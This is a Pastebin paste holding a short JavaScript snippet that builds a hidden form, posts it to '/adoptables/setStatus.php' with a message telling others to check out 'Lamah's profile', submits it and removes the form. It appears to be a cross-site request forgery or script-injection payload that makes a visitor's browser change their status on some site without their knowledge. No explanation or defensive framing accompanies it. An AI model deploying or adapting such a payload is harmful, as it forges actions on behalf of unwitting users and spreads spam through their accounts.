Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var myForm = document.createElement("form");
- myForm.method="post" ;
- myForm.action = '/adoptables/setStatus.php';
- var myInput = document.createElement("input") ;
- myInput.setAttribute("name", post) ;
- myInput.setAttribute("value", "Go check out Lamah's profile. It's the greatest.");
- myForm.appendChild(myInput) ;
- document.body.appendChild(myForm);
- myForm.submit();
- document.body.removeChild(myForm);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement